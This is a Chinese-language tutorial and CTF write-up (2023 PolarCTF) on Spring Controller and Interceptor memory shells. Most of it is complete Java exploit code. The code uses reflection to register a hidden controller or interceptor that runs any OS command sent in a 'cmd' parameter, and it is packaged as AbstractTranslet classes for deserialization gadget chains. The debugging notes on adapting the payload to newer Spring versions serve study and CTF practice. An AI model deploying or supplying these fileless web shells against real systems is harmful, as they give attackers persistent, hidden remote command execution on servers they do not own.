Spring Controller/Interceptor 内存马
Controller内存马
DispatcherServlet 分发请求到具体的Controller会先通过DispatcherServlet#getHandler找到处理该请求的mappedHandler(关于“什么”应该处理请求),然后根据mappedHandler得到对应的HandlerAdapter(关于“如何”处理请求)

在 Spring MVC 中,HandlerMapping 是一个接口,负责根据 HTTP 请求查找对应的处理器(handler)以及任何相关的拦截器(interceptors),最终封装成一个 HandlerExecutionChain。在getHandler中,首先遍历的就是RequestMappingHandlerMapping

RequestMappingHandlerMapping最终会调用AbstractHandlerMethodMapping#lookupHandlerMethod来查找给定请求路径所对应的处理器方法。这里mappingRegistry维护了所有 URL 路径与处理器方法之间的映射关系,后面写入Controller用的就是它。

mappingRegistry注册Controller的方法,这里的参数说明:
- handler:表示处理器,可以是一个处理器的实例也可以是一个字符串(bean名称)
- method:java.lang.reflect.Method 的一个实例,表示要注册的处理器方法。
- mapping:代表与处理器方法关联的映射条件,通常是RequestMappingInfo类型

注入Controller测试,参考su18_AddController.java
package com.example.evilController;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
@RestController
public class AddController {
@GetMapping("/addController3")
public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{
final String controllerPath = "/skky";
// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取父类的 MappingRegistry 属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
// 反射调用 MappingRegistry 的 register 方法
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Object evilController = new EvilController();
for (Method method : ms) {
if ("register".equals(method.getName())) {
// 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
method.setAccessible(true);
Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
method.invoke(mappingRegistry, info, evilController, m);
response.getWriter().println("spring controller add");
}
}
}
class EvilController{
public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
}
}
利用代码(CC链)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpControllerExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
final String controllerPath = "/skkyblu3";
// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取父类的 MappingRegistry 属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
// 反射调用 MappingRegistry 的 register 方法
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Object evilController = new SpControllerExploit();
for (Method method : ms) {
if ("register".equals(method.getName())) {
// 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
method.setAccessible(true);
Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
method.invoke(mappingRegistry, info, evilController, m);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
[2023PolarCTF冬季赛]CB链
jar反编译

/user存在反序列化

虽然不懂CB链,但我知道commons-collections。但这里可能是出不了网,反正打个Controller内存马呗。不过由于SpringMVC版本的问题,之前的payload执行不了。作为初学者,还是想看下究竟是怎么回事的。从pom.xml找到Spring的版本,本地准备好开始调试。

跟进lookupHandlerMethod,addMatchingMappings最后会调用到RequestMappingInfo#getMatchingCondition它是确定当前的 RequestMappingInfo 对象是否适用于指定的 HttpServletRequest 请求。它会按照请求方法、请求参数、请求头等条件进行筛选,而这个版本和前面有一个区别,就是增加了新的路径模式条件PathPatternsRequestCondition,这个在之前的代码中是没有设置的。

之前设置的是PatternsRequestCondition,而用它做匹配的时候会在调用UrlPathHelper#getResolvedLookupPath时由于request.getAttribute(PATH_ATTRIBUTE)返回一个null导致RequestMappingInfo无法正确匹配。

而通过对正常注册路径访问的调试,可以发现所有匹配都走的是PathPatternsRequestCondition匹配的。

所以一个简单的解决思路(对于我来说探究getResolvedLookupPath的问题似乎难度有点大了),就是在新建RequestMappingInfo的时候用PathPatternsRequestCondition。PathPatternsRequestCondition默认的构造函数会在对象初始的时候传入固定的EMPTY_PATH_PATTERN来设置patterns属性。不出意外的话,new PathPatternParser().parse("")接受的字符串就是匹配的路径了。

这里直接实例一个PathPatternsRequestCondition对象,然后用反射修改它的patterns属性
PathPatternsRequestCondition prc = new PathPatternsRequestCondition();
Class<?> clazz1 = prc.getClass();
Field patternsField = clazz1.getDeclaredField("patterns");
patternsField.setAccessible(true);
// 创建新的 SortedSet<PathPattern> 并解析 controllerPath
PathPatternParser parser = new PathPatternParser();
PathPattern pathPattern = parser.parse(controllerPath);
SortedSet<PathPattern> epp = new TreeSet<>(Collections.singleton(pathPattern));
// 通过反射设置新的值
patternsField.set(prc, epp);
然后初始RequestMappingInfo,反射修改pathPatternsCondition和patternsCondition的值
// 设置info的pathPatternsCondition为prc,patternsCondition为null
RequestMappingInfo info = new RequestMappingInfo(null, null, condition, null, null, null, null, null);
Class<?> clazz2 = info.getClass();
Field pathPatternsConditionField = clazz2.getDeclaredField("pathPatternsCondition");
Field patternsConditionField = clazz2.getDeclaredField("patternsCondition");
pathPatternsConditionField.setAccessible(true);
patternsConditionField.setAccessible(true);
pathPatternsConditionField.set(info, prc);
patternsConditionField.set(info, null);
完整的利用代码如下
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Scanner;
import java.util.SortedSet;
import java.util.TreeSet;
public class SpControllerExploit2 extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
final String controllerPath = "/skkyblu3";
// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取父类的 MappingRegistry 属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
// 反射调用 MappingRegistry 的 register 方法
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
PathPatternsRequestCondition prc = new PathPatternsRequestCondition();
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
Class<?> clazz1 = prc.getClass();
Field patternsField = clazz1.getDeclaredField("patterns");
patternsField.setAccessible(true); // 设置私有字段为可访问
// 创建新的 SortedSet<PathPattern> 并解析 controllerPath
PathPatternParser parser = new PathPatternParser();
PathPattern pathPattern = parser.parse(controllerPath);
SortedSet<PathPattern> epp = new TreeSet<>(Collections.singleton(pathPattern));
// 通过反射设置新的值
patternsField.set(prc, epp);
// 设置info的pathPatternsCondition为prc,patternsCondition为null
RequestMappingInfo info = new RequestMappingInfo(null, null, condition, null, null, null, null, null);
Class<?> clazz2 = info.getClass();
Field pathPatternsConditionField = clazz2.getDeclaredField("pathPatternsCondition");
Field patternsConditionField = clazz2.getDeclaredField("patternsCondition");
pathPatternsConditionField.setAccessible(true);
patternsConditionField.setAccessible(true);
pathPatternsConditionField.set(info, prc);
patternsConditionField.set(info, null);
Object evilController = new SpControllerExploit2();
for (Method method : ms) {
if ("register".equals(method.getName())) {
// 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
method.setAccessible(true);
Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
method.invoke(mappingRegistry, info, evilController, m);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
在/user处传入反序列化的字符串

Controller成功写入~

Interceptor内存马
Spring的Interceptor类似于Tomcat的Filter,下面是一个简单的Interceptor实现
package com.example.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
// 在请求处理之前进行调用(Controller方法调用之前)
System.out.println("preHandle: 请求前调用");
// 返回 true 继续流程,返回 false 中断流程
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
// 请求处理之后进行调用,但在视图渲染之前(Controller方法调用之后)
System.out.println("postHandle: 请求后调用");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
// 整个请求结束之后被调用,也就是在 DispatcherServlet 渲染了对应的视图之后执行
System.out.println("afterCompletion: 完成后调用");
}
}
用一个配置类在路由/上注册这个拦截器
package com.example.config;
import com.example.interceptor.MyInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyInterceptor())
.addPathPatterns("/"); // 指定拦截器的 URL 路径模式
}
}
访问/看到效果

如果想要请求只在拦截器中处理,而不去请求背后的Controller,可以修改preHandle的返回false
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
response.setContentType("text/plain;charset=UTF-8");
response.getWriter().write("Interceptor Interceptor Interceptor");
// 返回 false 表示请求结束,不再调用后续的Controller
return false;
}
效果

Intercepor的调用方式如下:和前面一样,在DispatcherServlet#doDispatch中用getHandler获取请求的处理器的时候,会循环遍历 handlerMappings 属性,匹配获取本次请求的 HandlerMapping

HandlerMapping 的 getHandler 方法中会调用getHandlerExecutionChain方法获取HandlerExecutionChain

getHandlerExecutionChain中则会遍历 this.adaptedInterceptors 中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChain 的 interceptorList 中

adaptedInterceptors 是一个列表,根据上面的代码,可以知道里面的元素是MappedInterceptor对象。在MappedInterceptor的中includePatterns是匹配的URL,interceptor则是拦截器对象。

所以添加一个拦截器的方法还是很简单的:
- 反射获取
HandlerMapping的adaptedInterceptors属性 - 创建一个
MappedInterceptor对象 - 用
List#add方法往adaptedInterceptors添加MappedInterceptor
代码如下,注意如果拦截器是一个不存在的路由,修改的adaptedInterceptors对应的HandlerMapping是不同的:
package com.example.interceptor.evilInterceptor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@RestController
public class AddInterceptor {
@GetMapping("/addInterceptor")
public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception{
// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 通过 context 获取 RequestMappingHandlerMapping 对象
// 如果要在一个已经存在的路由上添加拦截器,则需要RequestMappingHandlerMapping
// RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 如果是一个不存在的路由,用的是SimpleUrlHandlerMapping
SimpleUrlHandlerMapping mapping = context.getBean(SimpleUrlHandlerMapping.class);
// 获取AbstractHandlerMapping的adaptedInterceptors属性
// AbstractHandlerMapping是RequestMappingHandlerMapping父类的父类的父类
// Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
// 是SimpleUrlHandlerMapping父类的父类
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
// 创建要注入的MappedInterceptor对象,这里是一个不存在的路由
MappedInterceptor evilMappedInterceptor = new MappedInterceptor(new String[]{"/skkyblu3"}, new evilInterceptor());
// 加入 adaptedInterceptors
list.add(0, evilMappedInterceptor);
response.getWriter().println("spring Interceptor add");
}
class evilInterceptor implements HandlerInterceptor{
@Override
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
return false;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
}
利用代码(对一个不存在的路由)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class SpInterceptorsExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements HandlerInterceptor{
static {
try {
// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 通过 context 获取 SimpleUrlHandlerMapping 对象
SimpleUrlHandlerMapping mapping = context.getBean(SimpleUrlHandlerMapping.class);
// 获取SimpleUrlHandlerMapping的adaptedInterceptors属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
// 创建要注入的MappedInterceptor对象,这里是一个不存在的路由
MappedInterceptor evilMappedInterceptor = new MappedInterceptor(new String[]{"/skkyblu3"}, new SpInterceptorsExploit());
// 加入 adaptedInterceptors
list.add(0, evilMappedInterceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
return false;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
参考文章
https://xz.aliyun.com/t/12047
https://su18.org/post/memory-shell/#spring-controller-%E5%86%85%E5%AD%98%E9%A9%AC